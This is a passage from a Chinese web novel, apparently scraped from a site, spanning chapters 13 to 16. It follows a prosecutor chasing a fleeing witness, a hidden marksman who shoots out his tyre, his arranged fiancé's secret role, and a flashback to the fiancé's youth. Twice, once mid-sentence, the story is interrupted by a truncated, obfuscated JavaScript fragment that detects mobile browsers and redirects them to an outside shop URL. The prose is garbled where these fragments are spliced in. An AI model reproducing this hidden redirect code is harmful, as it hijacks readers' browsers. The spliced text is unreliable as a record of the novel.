“……你他妈怎么才回话啊!”任晓萱终于绷不住了,带着哭腔小声吼了一嗓子,“真的有人在跟踪我,你快点想办法——” “这位小姐?” 任晓萱身子一震,口香糖都险些从张大的嘴巴里掉出来。她已经来推着人来到室外,就在二号门外的无障碍斜坡上,整个人直愣愣地站着,不敢回头,脸上的肌肉却开始发起抖来。 耳机里几乎同一时间传来方鉴云镇定的声线: “别怕。我看见你了,这人不是警察,想办法打发了他就是。” 二号出口正对着一片空旷的待开发荒地,这两年都用作临时停车场,再远处一点便是两栋废弃的烂尾楼。任晓萱没有立刻转身,转动眼球四下张望,却没看见方鉴云的身影。 可对方说他看见自己了——他又会在哪儿? 若说人真的会见鬼,那任晓萱今天见鬼的事情恐怕比她前半辈子加起来还要多。她一咬牙,抱着视死如归的决心,转过身去: “你叫我?有什么事?” 一个穿着印花白T恤的小个子男人站在她身后,身形并不健硕,看样子大概是个beta。对方目光幽幽地盯着她,忽然笑了笑,抬手往地上一指。 “那里维修过,有几个坎儿。我看你力气很小的样子,能推过去吗?需不需要我帮你?” 任晓萱顺着他指的方向看去,下了无障碍斜坡,不远处果然有几个施工堆起来的土坎儿,莫说她一个女omega,就是一般alpha想推着轮椅上的成年人过去都有点儿吃力。 “拒绝他,”耳机里方鉴云立时命令道,“把轮椅交到他手里就糟了。” 任晓萱也正有此意,果断摇摇头:“谢了,用不着,我自己能行。” “别这么客气嘛,你是怕我劲儿不够大,把你的病人摔着了?”那人说着上前半步,眼瞅着就要伸手去够轮椅的扶手,“这人是你朋友还是你姐妹?看着恢复得一般啊,这就急着出院了吗?” 任晓萱登时慌了,握住把手就要往后撤: “我都说不用了!她是我什么人和你没关系,小心我告你非礼——” “晓萱,我来晚了,没等太久吧?” 一个温和磁性的男声插了进来,那男人一愣,动作顿住了。 任晓萱也怔了,循着声源的方向回头,却看见一张带着细框眼镜的、温润敦厚的面孔。萧尧笑着掰开她的手,推过轮椅,对她报以歉意的一笑。 “妈说了,以后不用你请假来看妹妹,她在家就能照顾。” 说着,萧尧看了眼身旁的男子。二人同为beta,可这般站在一起,萧尧的身高优势极其鲜明地凸显出来,虽然笑意盈盈,可最直观的压迫感却无以言表。 “多谢了,先生。”萧尧礼节性地点点头,“我妻子脾气急,刚刚有什么冒失,我替她道歉。” 那小个子脸上的笑凝固了,看着眼前坏了自己好事的beta,嘴唇蠕动了一下,敢怒不敢言。 “哦,没事。我就是看她好像推不动……” 萧尧回以一个理解的笑容,单手推着轮椅,另一只手臂抬起来,自然地把傻了眼的任晓萱揽过:“走吧。” 有萧尧在,小小的土堆自然也不足为惧。二人已经走到远处一辆白色的保姆车后,任晓萱透过后视镜看去,还能看到那小个子站在斜坡上,眼神熠熠地盯着二人的方向看。 萧尧把车门打开,轻松将轮椅抬起。任晓萱过来给他搭把手,一边低声问: “这人不是条子的卧底。小雅惹上什么仇家了?” 二人把轮椅抬上去,上了车,萧尧这才回道: “知道得越多,你就越危险。到临市之后你换个手机卡给我打电话,我会找时间联系你——” 任晓萱还没出声,尚未摘下的耳机里忽的传出方鉴云拔高的声线: “快关门,闻序的车到了!” 可毕竟只有她一人能听到方鉴云说话,不到几秒钟,伴随着窗外刹车刺耳的声响,一辆最高检外勤车冲入院内,任晓萱条件反射地转过头去,隔着没完全拉上的车门,一眼与对面驾驶室摇下的车窗里一双铅灰色的眸对了个正着。 任晓萱倏地愣了神。萧尧也察觉过来,背过身去长臂一伸,拽住把手乓的把车门关上! 两辆车的发动机同时如倾巢而出的蜂群般怒吼,闻序从车窗里探出头,大喊一声: “任晓萱,别跑!” 青年这一嗓子险些把她魂儿都叫飞,随即又听到耳机里方鉴云坚定道: “赶紧走,我掩护你们撤退!” 女人再也顾不得其他,猛地抓住驾驶座的椅背,指尖深陷进皮质软椅里,几乎失声尖叫: “快开车!!” 萧尧行事干脆,握紧方向盘猛地一脚油门下去,原本体型笨重的保姆车轮胎掀起一片激尘,如离弦之箭一般窜了出去,同一时刻,身后那辆破旧的外勤车却如草原上与猎物僵持的豹子,瞬间弹射起步,嗖地驶出近十米远! “坐稳了,抓住她!” 萧尧抬眼看了下后视镜,沉声一喝。车子越过刚刚的土坎,任晓萱屁股都颠得离开了座位,一边抓住身旁轮椅上软绵绵的omega,一边哆嗦着飙出几滴泪来: “老天爷啊,这不是在玩命吗——?!” 外勤车内,闻序咬了咬后槽牙,毫不犹豫地一推变速杆,狠踩踏板,眼看着两车之间的距离越拉越近,他的目光却始终盯在不远处收窄的出口处,心脏越跳越快。 警察还没有来,光是追上没有用,他必须赌一把命,赶在保姆车出去前把车拦在出口,除非对方是亡命之徒,否则今儿就是天王老子来了,也休想从他闻序面前碾过来! 他心一横,忽然手臂肌肉发力,呼啦一下把方向盘拧了大半圈,破旧的车子以一个赛车似的轨迹在空地上划过一道新月般的弧度,飞也似地从保姆车身侧漂移而过,超过车头,向出口滑去! 就是现在! 闻序屏住呼吸,迅速抬脚,踩下刹车—— 砰!! 爆响震动整片空地,一颗子弹撕裂了空气,带着尖啸的风,旋转着疾速突刺而来,转瞬之间低空掠过空地上无数杂乱无章的车辆、桅杆和指示牌,紧贴着保姆车的车窗,与一扇玻璃之隔的任晓萱瞪大的眼睛擦过,犹如淬火的陨石碎块,精准无误地射中闻序的车子前轮胎! 又是一声令人头皮发麻的尖锐摩擦声,闻序的车子顿时失去平衡,不受控制地向外打滑,直挺挺地就要往道边的路障撞去! “啊!” 车内任晓萱尖叫起来。可仅仅过了半秒,闻序的车子迅速从无序地打转的状态中恢复了掌控,一个猛刹,车位堪堪停在距离路障二十厘米的地方。 开着车的萧尧找准时机,忙继续加速,车子轰鸣着从被迫停下的外勤车前疾驰而过,很快消失在道边。 “我、我们安全了吗……?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658589|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >已经开出百十来米,远处这才响起警笛的鸣响。任晓萱心有余悸地频频回头,驾驶位上的萧尧虽没有像她那般惊慌,额角却也早已渗出汗来,呼吸急促。 “暂时吧,”隔了好久,萧尧才缓缓说道,“若是没有他,咱们刚才就全完了。” “啊,你说谁?” 任晓萱浆糊一般的脑子渐渐冷静下来,忽然想起什么,试探着碰了下耳机,这才发现电话早已挂断了,只剩下规律的、滴滴的忙音。 * 医院里发生了枪击的事很快传遍了全院,警察赶到后,疏散群众、安抚居民就花费了不少功夫,但最难搞的,还另有其人。 “不是早给你们打电话报警了吗!看护证人和嫌疑人是你们的活儿,不是我的!你们早点就位,我刚刚就不会眼睁睁看着他们跑掉了!” 天色已晚,二号出口外空地上却一片嘈杂,到处停满了闪着红光的警车,闻序被几个警察围在中间,却气势全开,身旁愣是没一个敢上前劝他消消气的。 “闻检察官,我们一定加派警力,把证人找到……” “找回来?说得容易!任晓萱面对警察有八百个心眼儿,那女孩儿是个黑户,谭峥给她办了假的身份证明,你们上哪儿找?怎么找?!” 几个警察自知理亏,面面相觑。闻序眼见着人当着自己的面儿跑了,心里的怨气快要溢出来,正要再说什么。 “——闻检查。” 闻序眉毛一跳,带着怒气转身。 是方鉴云。青年步履沉稳从容向他走来,穿过吵嚷纷闹的人群,红蓝相间的警示灯光照在青年的侧脸上,为那文静的五官平添了几丝捉摸不透的迷幻色彩。 闻序就这么注视着对方打老远一直走到他身旁。方鉴云虽然瘦,可远远的笼统看去,再配上那一身熨烫得没有一丝褶皱的黑色修身制服,倒愈发衬托得青年细腰长腿,身量颀长,尤其覆着长发的脖颈间那一截优美的线条,简洁利落极了。 顶着闻序和一众警察灼热的视线,方鉴云没事人似的站定在跟前,环视一圈: “听说医院有人开枪。看见是谁了没有?” 好半天,闻序才迫使自己把目光从方鉴云这一身日日都见、唯独今晚惹得他格外挪不开眼的行头上移开。 “当时我只顾着追车,没看见。” 方鉴云点点头:“也是,不过你没事就好。” 闻序莫名一怔。他忽然发现,方鉴云一只手上还夹着根烟,明灭的火星在青年骨骼清细的指尖闪烁。 方鉴云转头看向警察:“警官,如今有控枪案,这嫌疑人带着武器,行动一定很不方便。我建议您让医院调取一下开枪之后附近的监控,说不定能看到嫌疑人销毁枪支的踪迹。” “医院已经去调监控了,现在的重点还是配合你们这边找回那个证人。”警察说。 一个诡异的念头突然从脑海中蹦了出来。闻序看着方鉴云过于淡定自若的侧脸,突然问: “这段时间,你在哪儿?” 方鉴云又回头看他。二人四目相对的一刹那,刚刚闻序心里说不清楚的那种悸动又回来了,甚至忘记了自己一分钟之前还在抓狂地和警察大发脾气。 下一秒,方鉴云薄唇一勾,不带感情地微微笑了。 “报警啊,”方鉴云说着,抬起拿烟的手,“我第一时间就报了警,然后就赶来了。我手机里还有通话记录呢,你要不要看?” 说完,方鉴云叼住烟,拿出手机,低下头,当真开始翻找起来。闻序诶了一声: “行了,我没让你证明。” 方鉴云顿了顿,收起手机,拿下烟的同时轻轻吐了个薄薄的烟圈,也不知是不是闻序的错觉,借着二人的身高差,方鉴云一抬眸,由下往上看了他一眼,轻飘飘的,含着飘渺的笑。 闻序的心扑通一下。他迟钝地发觉,方鉴云一贯优哉游哉、游刃有余的情绪深处,似乎多了些他捉摸不透的,轻快的味道。 他并不了解这个行事神秘的家伙,但此刻他可以确信,这是方鉴云高兴的表现。 刚入职的第一个指控案就搞砸了,他究竟在高兴什么? 闻序轻轻吸了口气,闯入鼻腔里的只有淡淡的烟草味道,以及方鉴云身上时刻萦绕着的、若有似无的皂角清香。 没有火药味。 他停了两秒,又慢慢把气吐出来,全然未觉自己开口时语气平静得与刚才判若两人: “我在这做笔录,你先回去吧。明天做好被骂的准备吧。” 方鉴云嗯了一声,也不啰嗦,转身就走。车边的几个人一齐望着方鉴云离去的背影,闻序听见其中一个轻声感叹: “闻检查,你这同事长得太漂亮了,他是omega吧?” 刚刚被人爆了胎的怒气连带着另一股无名邪火齐刷刷地撺掇到老高,闻序瞬间皱了眉: “警官,这和今天的事儿有关系吗?再说了——” 他忽然想到什么,猛地住嘴,险些咬到舌头。路灯下,方鉴云已经过了马路,来到对面一辆停着的黑色宾利上,拉开副驾驶的门。闻序一下子认出,那就是去谭峥家里搜查那天来接方鉴云的同一辆。 他转身问另一个警察:“警官,你们之中有没有谁是交通部门的?对面那辆车,能不能帮我查一下车主是谁?” “哦,这不难,你稍等。” 其中一个警官远远眺望了一下车牌,拿出执法仪:“3574B,登记的车主叫楚江澈。” 闻序的眼神放空了一瞬,默念了一遍这陌生的姓名,陷入沉思。 楚江澈。上一次听到楚这个姓氏,还是在…… * “萧尧来信说,任晓萱和那女孩儿已经走了。今天有惊无险,多亏了你。” 黑色宾利内,楚江澈看着方鉴云关上门。后者系好安全带,把车窗摇下些,薄唇轻启,最后吐出口烟,将烟蒂按在车内的烟灰缸里。 楚江澈侧头看向外侧的警车群:“枪法不错。” “可不敢当。”方鉴云习惯性靠在准备好的软垫上,腕骨抵着肩胛捶了捶,“黑市的残次品后坐力就是大,疼死我了。” 楚江澈指了指外面。 “我指的是,能几百米外精准爆胎,又不至于让车失控伤了他,这技术还不过硬?” 方鉴云捶肩的手一停。他亦撇过头来,向拥挤的车流内望去,只是着眼处与楚江澈不同,落在某个正和警察们一脸倔强地争论着什么的青年身上。 他看了一会儿,拿开手,从制服兜里掏出一个小小的烟盒,伸到烟灰缸上方,手腕一翻。 啪嗒一声,一枚金属弹壳掉出来,落在烟灰缸中。 “都藏好了?” “嗯,”方鉴云把烟盒里最后一根烟拿出来,“他们重点都在医院,不会搜那烂尾楼。” 楚江澈又转头看他。 “开了这一枪,这场仗算是彻底打响了。”楚江澈道,“怕不怕?” 黑夜里,方鉴云同样收回望向远处闻序的目光,双眸宛如黑曜石,亮晶晶的,深望着他。 “我回来了,该怕的是他们。”他说。 14. 第 14 章 一语成谶。 “干什么吃的,连个差点成植物人的病患都看不住?!” 办公室内,一高一矮两人齐刷刷地负手而立,处长把报告重重摔在桌上,指着闻序: “你说,怎么回事!” 为了谭峥的案子忙活到现在,还是竹篮打水一场空,闻序的太阳穴忍不住又突突直跳起来,不得不耐着性子解释: “处长,昨天有人在医院开枪才导致我没追到人,我想任晓萱一定有同伙,还不止一个……” “说这些有用吗,啊?”处长在报告上敲了两下,“中央战区都给检察院发了急电,专门说谭峥的案子需要审慎调查!不管那违禁药是不是如谭峥说的那样是别人栽赃嫁祸的,现在这事儿已经成了罗生门,中央战区还把人取保候审了,只有咱们一处里外不是人!” 一旁的方鉴云见状道:“处长,就算那女孩是不是被他亲手下药没法定论,但其他的罪名,包括他调任中央战区前疑似违纪的——” “你别说话。” 方鉴云怔住,下意识闭上嘴巴。 说完这句话,闻序自个儿心里也一晃神。他只把自己突发奇想的行为归结于让方鉴云陪着行动失误的自己一块儿挨骂,感到有点儿愧疚,不再深想,正色道: “处长,到了这一步案子是有点麻烦,我检讨。大不了,其他的指控该怎么结怎么结,给那姑娘服药的部分,我出个检讨书,给我个人下达处分。” 处长满脸恨铁不成钢地看着他: “你以为我叫你俩来,就是非要让你受处分的?谭峥这家伙来头不小,你俩应该早就发现了,拿不出十足的‘罪证’,战区是不可能舍他的,搞不好还会结了梁子!” 闻序一时无言以对,他知道处长这番话不无道理。说完这番话,对方重重叹了口气: “行了,这指控案你俩暂时不用负责了,去做别的事吧。” “——什么?” 这下不止闻序,连方鉴云都惊得抬起头来,反应较之闻序甚至更大。 “可他自己都承认服用违禁药的事了,权色交易的证词我们也拿到了!” 处长大手一挥:“这是为你们好。原本我就不对这个指控案抱太大希望,嗑药也好,包养情人也好,充其量就是处分或者停职……中央战区那边的人说,要是没什么大不了的事,不如就先这样算了。” 闻序还是没忍住:“这算什么混账话!谁有这么大的权力,说算了就算了?” “都说了谭峥他有后台嘛,”处长不耐烦道,“就记得那函上签字的姓陆,似乎是,是……” 一个人影忽然倾身过来,双手撑住办公桌沿,闻序小小吓了一跳,回头看着方鉴云忽然如此出格的举动。对方向处长探身靠过来时微低下身子,后背上两翼蝴蝶骨在衬衫下支起一个伶俐清矍的弧度。 “处长,我们会拿到更关键的证据的。” 方鉴云表情严肃到近乎凝重,连办公桌后坐着的人都蓦地一愣。 “我可以和陆总巡写说明,”方鉴云眉心微蹙,本该恳求的口吻里反而带了些不容置喙的,“案子一旦交出去,咱们就是有理也变成没理,我们不能连累院里吃这个哑巴亏。” 此话一出,闻序不禁侧目而视。处长被方鉴云反常的压迫感惊得不知作何回答,呃了一声: “我知道你刚来,心气高,可……” “处长,请给我和闻序前辈一个将功补过的机会。”方鉴云一字一顿地重复道,“我负责写说明,请您为我们争取点时间,我们一定会拿出像样的证据来。” * 便宜的一次性纸杯存货告急,闻序倒了杯茶,打开电脑。坐下的功夫,余光看到方鉴云匆忙出门的背影。 莫名其妙的,刚刚自己就被他拉着下了军令状,限两周之内拿出一个像样的调查结果。处长一向是个说一不二的性格,今天也不知怎么了,或许和闻序一样,没见过方鉴云这种平时俨然一副没有七情六欲、临阵突然性情大变的怪胎。 茶叶在纸杯里旋转沉浮,闻序漫不经心地点开资料库,心思也跟着飘忽不定。 昨晚和警察做笔录到很晚,弹道分析结果警署还没有出,医院监控倒是看了,枪响之后,二号口确实有一个穿着T恤的可疑男子趁乱溜了出去,到了监控盲区,人便不见了踪迹。 若是没有方鉴云那三言两语的点拨,凭现场那几个无头苍蝇似的年轻警察,恐怕还真留意不到现场那个男子的行迹。 神思已经跳跃到十万八千里外,闻序手上操控鼠标点开浏览器,脑子里却开始天马行空。 他突然回想起昨晚方鉴云走后,做笔录的间隙,他听到那几个警察的闲聊。时间太晚,大家抗着风在医院大门口等着技侦过来,警察们你一言我一语,不知谁先挑起话头,慢慢扯到只来现场呆了五分钟不到的方鉴云头上。 “这最高检果然不一般,招聘的人个个都俊得像模特。” “可不,闻检察官这一个alpha也就算了,连那omega也……身材也够带劲,那小腰细的,腿比我命都长。” 当时还有人不长记性,跑来和闻序搭讪: “闻检查,你那个同事有对象吗?” 犹记的当时,闻序板着一张刚被人不吝赞美之词的俊脸,话到嘴边的没有两个字七拐八绕,最后脱口竟面目全非: “他不单身。” 那警察顿时很失望,打了句哈哈就走了。闻序先是扪心自问,这回答并不算撒谎,接着下意识打量了一下那警察的身量。 他心说,也真是那什么想吃那什么肉—— 忽然间,青年一个激灵抬起头,蓦然与反光的屏幕中那双惶惶的双眼对视。 他这是怎么了,好端端的,居然开始给一个利用自己向上爬的联姻对象打抱不平。那方鉴云除了外表和白天鹅挂上一点钩,其他哪里有值得称道的? 青年压下心中的躁郁,手里键盘敲得噼里啪啦, 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闻序不死心地在浏览器里输入楚江澈的名字,本是试一试的心态,没成想蹦出来好多千奇百怪的小道八卦,他这才意识到这楚江澈在首都不是什么大富大贵、至少也得是个上流阶层家的后代,于是随手点开一个网页。 “震惊!楚家独子子承父业终归国,是东山再起的前奏,还是泯然众人的结局?” 大致扫过一遍,报道总的讲述了世世代从军的楚家在联邦军队的发迹史,还半真半假地提到有关六年前上议院争执不下的联邦控枪法案,末了那小编还事后诸葛亮地断定,就是因为当时楚家就旗帜鲜明地反对控枪,站错了队,才会慢慢不得重用,衰落至今。 闻序又情不自禁想起昨晚,方鉴云上车的动作一气呵成,自然地好像坐自家车一般熟悉。 方家和楚家有这么熟吗?就算有,方鉴云口口声声说自己情愿嫁给自己这个名不见经传的检察官,却又大摇大摆地坐上楚江澈的车,这又算什么,左右逢源? 当时那辆车里开车的是谁,会是楚江澈本人吗? 在意识到不对之前,一大串不着边际的念头已经先一步从脑中争先恐后地涌了出来。闻序揉了揉胀痛的太阳穴,使劲眨眨眼,往下翻页强迫自己继续看下去。 有猫腻更好,他对自己说。说不定那家伙哪天脑子一热,想要解除婚约,和真正的意中人在一起什么的,大家两全其美,他一定尊重祝福…… 鼠标滚轮咔地卡住,闻序看着跃入眼帘的几行字,一下子呆住了。 “……据悉,也正是六年前,疑似首都地下恶势力保护伞的楚其琛夫妻眼见控枪法案可能通过,便私下联络马仔,意图伪造失火案将控枪派赶尽杀绝,却不想计划失败,而后局势失控,最终酿成了惨绝人寰的五·三一惨案……” 方正的黑色字体倒映在眸中,字字深刻。 他万万没想到,那场早已被官方定性为恶性暴力袭击的、夺走了自己最珍贵的记忆的五·三一事件,背后居然还牵扯了一个曾经显赫、如今却背上政治嫌疑的家族。 而就在昨晚,他亲眼看见方鉴云坐上了嫌疑人的后代的车。 15. 第 15 章 “说说吧。” 治疗室内,闻序戴着治疗头盔,太阳穴贴着治疗电极片,看了眼坐在桌前等着记录的连星帆,略一思索。 “我来检察院两年,还没遇到过谭峥这么棘手的指控案,”闻序慢慢说道,“但我能感觉到,阻碍我的不仅是谭峥和他在中央战区的后台,还有另外的势力在阻挠我接近真相。或者应该说,那个方鉴云,就很像是在有意引导着我去关注什么——” “停停停!” 连星帆一抬手,“别聊案子了工作狂先生,我让你谈一谈方鉴云这个人。聊案子对你恢复记忆有什么帮助?” “……我也看不出聊方鉴云就对这事有什么帮助了,”闻序吃瘪,郁闷地撇了撇嘴,“方鉴云现在和我的生活高度捆绑在一起,不仅是我的工作搭档,还中了邪似的非要下嫁给我,总之就是个病恹恹、讲话又刻薄的omega,就这样!” 连星帆不信:“就这样?那你当时怎么会回想起一个和你的心上人风马牛不相及的家伙?” “我——” 他蓦地结巴了一下。回忆里那个人影儿模糊不清,可他却笃定那人一定拥有世界上最温暖、最纯真的笑容。他试着想象方鉴云那张天塌下来都无动于衷的扑克脸上也做出这般和煦如暖阳般的笑意,以为自己会被这番场面激起一身鸡皮疙瘩,可很快他惊讶地发现,并没有。 他甚至勾勒出了方鉴云眉眼弯弯、如沐春风般含笑望着他的模样。如果现实中方鉴云这样对着他笑,他一定会觉得那场面违和到见鬼,可潜意识的画面里,这样的方鉴云,他并不讨厌。 闻序喉结一滚:“得了,我照你说的做就是……方鉴云他是首都军火商方家的独子,看着身体不好,其余的我也不太清楚了,我又不想和他有太多交集,何况他独来独往的。呃,也不算独来独往……” 连星帆挑眉,示意他继续。 “首都世代从军的那个楚家,如今留学归来的年轻家主楚江澈,和方鉴云关系好像挺好的。”闻序说着,语气忽然有些不成调,“其实我不懂,他们两家庭门当户对的,楚江澈又是alpha,他们居然能舍弃楚江澈,只为了履行和我父母订下的婚约。要说只是为了让我死心塌地助方家少爷升官,他则在外面彩旗飘飘,养着一个野男人,这倒显得我有点阴谋论……” 他抬起头,看见连星帆看自己的眼神,逐渐有点不满:“你这么看我干什么?” “我感觉你病情恶化了,闻检查,”连星帆好像在看一个货真价实的脑科病人,“你知道自己在说些什么吗?这么揣测方鉴云的私人交际,还说你不在乎人家。” 闻序一下子坐直了:“我这不叫在乎!你要是突然被塞了一桩婚事,你指不定比我还抓狂呢!” 开什么玩笑,他这六年除了工作便是想方设法恢复记忆找到失散的心上人,哪有闲情逸致去管一个鸠占鹊巢的方鉴云的人生? 连星帆还想说话,闻序却已经摘下头盔和电极片,随手揉了把头发:“得,今天就到这儿吧,你这疗法忒不靠谱。我赶时间回宿舍拿点东西,检察院还一堆事等着——” 他背对连星帆往外走了两步,忽然身子一晃,脚下的地板跷跷板似的剧烈摇动起来一般,他一个踉跄,赶紧扶住门框。连星帆追上来: “悠着点啊你!这又是熬了多久没睡了?这么过度用脑不利于恢复的。” 闻序闭上眼睛,挨过后脑勺的一阵温吞的钝痛,拂开连星帆扶着他的手,摇晃了一下,还是跨过门槛。 “知道,我有分寸。” 可糟糕的是,在医院时发作的头痛并没有因为出来吹吹冷风就有所好转。也就七八分钟的工夫,后脑勺的钝痛就逐渐转移到了太阳穴,频率也越来越高,尖锐地撕扯着神经。 “嘶……” 眼前的景象一阵阵模糊,闻序勉强过了马路,两腿就有些不听使唤的趋势,他强撑着在路边一屁股坐下来,有些不顾形象地俯下身,撑住涨痛的额角。 六年来,因为伤病,他没少在拼命学习或工作时犯过头疼症。可像今天这样疼得四肢虚软走不动路的,还是头一回。 视野里的光线一点点黯淡下去,剧烈的疼痛过后,便是困意袭来。 他好像有些撑不住了。或许,稍微眯起眼睛睡一会儿,就不那么疼了…… 这般想着,闻序克制不住地阖眼,渐渐失去了意识。 * 再醒来时,他整个人已经平躺在了床上。 睁开眼皮时仿佛掀起了前进重量,惺忪的朦胧褪去,面前呈现出的却是完全陌生的天花板。脑中耳鸣未消,闻序艰难地伸手,摸索到身下一张柔软而宽大的高级床垫。 这儿显然并非他那年久失修的员工宿舍。 混沌如浆糊的大脑还不能够处理过载的环境信息,闻序哼了一声,试图坐起身来,可浑身被下了蒙汗药似的使不上劲儿。就在这时,耳旁传来咔哒一声,有人推开门走了进来。 “醒了啊。感觉怎么样,要不要送你去医院?” 闻序吃力地转过头,不出意外对视上了那双深邃漆黑的眉眼。方鉴云拉过一把椅子,在床边坐下。 “看来没什么大碍,”方鉴云打量他的脸色,淡淡道,“幸亏你晕倒的地方在检察院附近,也离我家不远。” 其实从方鉴云进来的那一刻,加上屋内连闻序这种奢侈品门外汉都看得出的装潢,他就已经猜到自己现在身在何处了。他抬手揉了揉酸涩的脖颈: “你的意思是,你把我,从街上背了回来?” “想什么呢,”方鉴云看他的眼神和不久前连星帆的如出一辙,“我腰不好,你体格又比我大,拖都拖不动。我叫了个车,多给了司机点钱,让他把你背上来的。” 闻序:“……” 抬眼望去,窗外的天已经变成了幽深的蓝紫色。闻序收回目光,注视着有些含讥带诮地看着自己的方鉴云,干涩的喉头微微动了动。 “今天多谢你了。” 闻序说。 方鉴云脸上的笑意肉眼难辨地迟滞了。 并不光彩的联姻关系被撞破至今,闻序还是第一次这样和和气气、不再对抗地同方鉴云讲话。闻序说完,一时有点受不了方鉴云深望着他目不转睛的眼神,率先挪开视线。 良久,屋内传来一声微不可闻的喟叹。 “你的病这么严重吗,”方鉴云有些无奈,“我以为它只会让你失忆,没成想还会影响你到这种地步。” 身体慢慢恢复了力量,闻序单手掀开被谁掖好了被角的蚕丝被,忽然听方鉴云又说: “你说你忘记了那个心上人,忘到了什么程度?这六年的过往,你一点也不记得了吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658591|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 闻序身形一顿,乜他一眼。 “你问这个干嘛。”他嗓音霎时微沉。 方鉴云看着他,慢慢一笑:“别应激。我知道你心里只有他,反正我也不在意。聊一聊都不行?” 这态度倒是着实让闻序吃了一惊,他重新把方鉴云从头到脚看了一遍:“方鉴云,我不明白,你明明能力不差的,为了找一个能给你工作冲业绩的人,连七情六欲都舍弃了吗?你的枕边人不喜欢你,你也不在意?” 方鉴云耸了耸肩:“凑活过呗,不行就离。你对我的利用价值大着呢,你自己不知道罢了。” 鸡同鸭讲的无力感顿时吞没了他,闻序强忍住翻白眼的冲动,撑着上半身从床上坐起来。方鉴云仍是那标志性的坐姿,懒懒地歪靠在软椅里没动。 “你也看到了,闻序,我家离检察院可比你的宿舍要近,环境也更舒适。”方鉴云慢条斯理道,“至少看在双方父母的面子上,搬到次卧来装装样子也行——” 下一秒,闻序翻身坐了起来,浓密的眉毛微蹙,凌厉如锋的面部线条绷紧。 “方鉴云,”他侧坐到床头,“说句心里话,虽然你这人怪怪的,但如果没有结婚这档子事,我们说不定会成为非常好的搭档。前段时间我对你说过不中听的话,我道歉,也请你别再执着于劝我履行婚约,咱们和平相处,可以吗?” 方鉴云倏地一怔。他们面对面坐得很近,二人膝头交错,一方稍稍动一动就会碰到另一个人的腿。直到闻序起身,他下意识把小腿收回让出条路,仰头看着闻序站起来走开。 他漆黑的眸子忽的一动,张开唇: “现在是半夜了。你好歹在这儿歇一晚再……” 又是咔哒一声,门板推开,方鉴云身子忽然一沉,彻底陷入软椅里面,视线不再追随着那人的背影,放弃似的合上双眼。 过了几秒钟,关门声却迟迟没有传来。闻序半个身子已在门外,却停下脚步。 “……姓瞿。” 方鉴云的唇瞬间抿紧了,齿间挤出几个字:“你说什么?” 闻序没有回头。安静的房间内,闻序的嗓音低而醇厚,鼓震着青年的耳膜: “你刚问我,是不是全不记得了。”闻序轻声道,“也不全然不记得。我只知道,那个人应该姓瞿。” 他顿了顿:“不管你能不能理解这份心情,可哪怕这辈子我也想不起来他叫什么,我也不会放弃找到他的。今天麻烦你了,早点休息,方检查。” 咔哒一声,这次门终于关上。 房间内寂静无声,唯有走廊里那坚实的脚步逐渐远去。方鉴云没有睁眼,慢慢垂下头,半扎的乌黑长发拂过后颈垂落在肩头,露出omega优美却脆弱的颈部曲线。 屋内只开了盏床头灯,柔和的暖光照在青年沉静隽美的侧脸,他一动不动,唯有那睫羽细看之下,如振翅的蝶一般微弱地颤抖。仿佛过了很久,方鉴云才慢慢从胸前的衬衫口袋里摸出那姻缘符,珍重地捧着,贴在唇上。 那姻缘符只隔着一层布料,等同于贴身,触碰到唇面时还带着剩余的体温,如同与谁耳鬓厮磨那般亲昵的温热。 他沐浴在黑暗中唯一一簇小小的光芒之下,闭着眼睛,忽然肩膀一抖,低声笑了。 “叫瞿清许。”青年悄声呢喃,“笨蛋……记不住,就别勉强了。” 16. 第 16 章 时光回到九年前,某个欺世盗名的故事还尚未诞生。 “抱歉啊宝贝,爸爸妈妈不是有意爽约的。等月末内阁会议结束之后,爸爸妈妈一定陪你过一个真正的,只有咱们三口人的亲子周末,想做什么都可以,好不好?” 慈善晚宴的主舞台后台,穿着燕尾服的中年男子抬手摸了摸十七岁的瞿清许的头发,愧疚地叹了口气。一旁穿着晚礼服的女子同样无奈地苦笑: “卿卿,这次财政司的活动,我和你爸爸不出席说不过去……一会儿上台之后,你代表爸爸妈妈从名单里选一个咱们家的帮扶对象,啊。” 厚重的帷幕外,宾客和媒体的声音如嗡鸣的洪流。少年低头盯着脚上那双擦得锃亮的矮跟皮鞋,咬了咬唇,眸光黯淡。 “知道了,爸,妈。”少年复又抬头,对着慈爱的、满脸歉意的父母懂事地报以一笑,“爸妈工作忙,咱们仨能在这种活动上聚一聚,和在家里也没差的。” 女人的眼眶有些红了,碍于脸上的妆,始终不敢让眼泪真掉下来,只能上前和瞿清许匆匆拥抱了一下。很快有礼仪小姐领着三个人上台,迈上舞台的一瞬间,台下无数闪光灯不约而同咔嚓咔嚓地发动起来,炫目的灯光如流星雨般几乎晃花了少年的眼。 “下面请国安总局瞿永昌先生及其家眷……” 台下一张张圆桌旁围坐着的人纷纷开始鼓掌。瞿清许看着站在晚宴主持人身侧,得体地微笑着致辞的父母,不绝于耳的掌声与相机的快门声仿佛从遥远的水底传来般,随着沦陷的思绪愈来愈远。 打记事起,不着家就是父母的生活常态。瞿清许在同龄小孩都羡慕的衣食无忧、无人管束的放养状态下长大,物质上的供给从未短缺过,唯独他一次次索求父母的陪伴,得到的永远是冲突的工作行程,以及他们内疚却终究转身离去的背影。 落空太多次,失望就成了习惯。到了十七岁,瞿清许已经能够说服自己别太贪心,调整好心态反过来安慰爽约的父母了。 “小瞿公子,你来为爸爸妈妈选出这次你家资助的贫困生吧?” 